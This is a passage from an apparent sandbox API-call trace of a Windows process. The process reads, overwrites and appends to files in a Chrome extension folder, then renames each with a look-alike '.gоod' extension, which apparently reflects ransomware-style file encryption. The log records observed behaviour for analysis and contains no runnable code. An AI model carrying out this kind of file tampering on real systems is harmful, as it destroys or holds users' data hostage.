Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), fInfoLevelId=0x0, lpFileInformation=0x209ed210 | out: lpFileInformation=0x209ed210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87ec116, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87ebfa2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x84006a88, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0227.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed0f0) returned 1 [0227.810] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json.gоod")) returned 1 [0227.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", lpFilePart=0x0) returned 0x85 [0227.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed170) returned 1 [0227.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), fInfoLevelId=0x0, lpFileInformation=0x3a0f890 | out: lpFileInformation=0x3a0f890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87f3645, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87f5be2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x5b6c)) returned 1 [0227.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed130) returned 1 [0227.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", lpFilePart=0x0) returned 0x85 [0227.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0227.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.812] GetFileType (hFile=0x858) returned 0x1 [0227.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0227.812] GetFileType (hFile=0x858) returned 0x1 [0227.812] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209ed1c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209ed1c8*=0) returned 0x1000 [0227.812] ReadFile (in: hFile=0x858, lpBuffer=0x3a0fdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed198, lpOverlapped=0x0 | out: lpBuffer=0x3a0fdc8*, lpNumberOfBytesRead=0x209ed198*=0x1000, lpOverlapped=0x0) returned 1 [0227.813] CloseHandle (hObject=0x858) returned 1 [0227.813] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", lpFilePart=0x0) returned 0x85 [0227.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0227.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.813] GetFileType (hFile=0x858) returned 0x1 [0227.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0227.813] GetFileType (hFile=0x858) returned 0x1 [0227.813] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x209ed1c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209ed1c8*=0) returned 0x5b6c [0227.813] WriteFile (in: hFile=0x858, lpBuffer=0x3a110f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209ed0b8, lpOverlapped=0x0 | out: lpBuffer=0x3a110f0*, lpNumberOfBytesWritten=0x209ed0b8*=0x10, lpOverlapped=0x0) returned 1 [0227.814] CloseHandle (hObject=0x858) returned 1 [0227.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", lpFilePart=0x0) returned 0x85 [0227.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0227.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.815] GetFileType (hFile=0x858) returned 0x1 [0227.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0227.815] GetFileType (hFile=0x858) returned 0x1 [0227.815] ReadFile (in: hFile=0x858, lpBuffer=0x3a13440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed148, lpOverlapped=0x0 | out: lpBuffer=0x3a13440*, lpNumberOfBytesRead=0x209ed148*=0x1000, lpOverlapped=0x0) returned 1 [0227.843] CloseHandle (hObject=0x858) returned 1 [0227.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", lpFilePart=0x0) returned 0x85 [0227.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0227.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.843] GetFileType (hFile=0x858) returned 0x1 [0227.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0227.843] GetFileType (hFile=0x858) returned 0x1 [0227.843] WriteFile (in: hFile=0x858, lpBuffer=0x3a12108*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209ed1f8, lpOverlapped=0x0 | out: lpBuffer=0x3a12108*, lpNumberOfBytesWritten=0x209ed1f8*=0x1010, lpOverlapped=0x0) returned 1 [0227.843] CloseHandle (hObject=0x858) returned 1 [0227.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js", lpFilePart=0x0) returned 0x85 [0227.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.gоod", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.gоod", lpFilePart=0x0) returned 0x8a [0227.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed130) returned 1 [0227.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), fInfoLevelId=0x0, lpFileInformation=0x209ed210 | out: lpFileInformation=0x209ed210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87f3645, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87f5be2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x84052f66, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b7c)) returned 1 [0227.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed0f0) returned 1 [0227.844] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.gоod")) returned 1 [0227.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", lpFilePart=0x0) returned 0x7d [0227.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed170) returned 1 [0227.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x3a8fa40 | out: lpFileInformation=0x3a8fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8266675, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87fd112, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b3184c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0227.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed130) returned 1 [0227.845] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", nBufferLength=0x105, lpBuffer=0x209ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", lpFilePart=0x0) returned 0x7d [0227.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed020) returned 1 [0227.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.845] GetFileType (hFile=0x858) returned 0x1 [0227.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecf90) returned 1 [0227.845] GetFileType (hFile=0x858) returned 0x1 [0227.845] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x209ed1c8 | out: lpFileSizeHigh=0x209ed1c8*=0x0) returned 0x5b1 [0227.845] ReadFile (in: hFile=0x858, lpBuffer=0x3a90380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed0f8, lpOverlapped=0x0 | out: lpBuffer=0x3a90380*, lpNumberOfBytesRead=0x209ed0f8*=0x5b1, lpOverlapped=0x0) returned 1 [0228.056] CloseHandle (hObject=0x858) returned 1 [0228.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", nBufferLength=0x105, lpBuffer=0x209ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", lpFilePart=0x0) returned 0x7d [0228.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed020) returned 1 [0228.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0228.085] GetFileType (hFile=0x858) returned 0x1 [0228.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecf90) returned 1 [0228.086] GetFileType (hFile=0x858) returned 0x1 [0228.086] WriteFile (in: hFile=0x858, lpBuffer=0x3852290*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x209ed008, lpOverlapped=0x0 | out: lpBuffer=0x3852290*, lpNumberOfBytesWritten=0x209ed008*=0x5c0, lpOverlapped=0x0) returned 1 [0228.086] CloseHandle (hObject=0x858) returned 1 [0228.087] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json", lpFilePart=0x0) returned 0x7d [0228.087] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.gоod", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.gоod", lpFilePart=0x0) returned 0x82 [0228.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed130) returned 1 [0228.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x209ed210 | out: lpFileInformation=0x209ed210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8266675, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87fd112, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8428f284, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0228.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed0f0) returned 1 [0228.087] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.gоod")) returned 1 [0228.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", lpFilePart=0x0) returned 0x84 [0228.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed170) returned 1 [0228.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), fInfoLevelId=0x0, lpFileInformation=0x3853660 | out: lpFileInformation=0x3853660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88047bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8806d52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0228.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed130) returned 1 [0228.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", nBufferLength=0x105, lpBuffer=0x209ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", lpFilePart=0x0) returned 0x84 [0228.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed020) returned 1 [0228.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0228.088] GetFileType (hFile=0x858) returned 0x1 [0228.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecf90) returned 1 [0228.088] GetFileType (hFile=0x858) returned 0x1 [0228.088] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x209ed1c8 | out: lpFileSizeHigh=0x209ed1c8*=0x0) returned 0xe0 [0228.102] ReadFile (in: hFile=0x858, lpBuffer=0x3853b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed0f8, lpOverlapped=0x0 | out: lpBuffer=0x3853b08*, lpNumberOfBytesRead=0x209ed0f8*=0xe0, lpOverlapped=0x0) returned 1 [0228.103] CloseHandle (hObject=0x858) returned 1 [0228.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", nBufferLength=0x105, lpBuffer=0x209ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", lpFilePart=0x0) returned 0x84 [0228.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed020) returned 1 [0228.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0228.133] GetFileType (hFile=0x858) returned 0x1 [0228.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecf90) returned 1 [0228.133] GetFileType (hFile=0x858) returned 0x1 [0228.133] WriteFile (in: hFile=0x858, lpBuffer=0x38cb3e0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x209ed008, lpOverlapped=0x0 | out: lpBuffer=0x38cb3e0*, lpNumberOfBytesWritten=0x209ed008*=0xf0, lpOverlapped=0x0) returned 1 [0228.134] CloseHandle (hObject=0x858) returned 1 [0228.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js", lpFilePart=0x0) returned 0x84 [0228.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.gоod", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.gоod", lpFilePart=0x0) returned 0x89 [0228.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed130) returned 1 [0228.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: 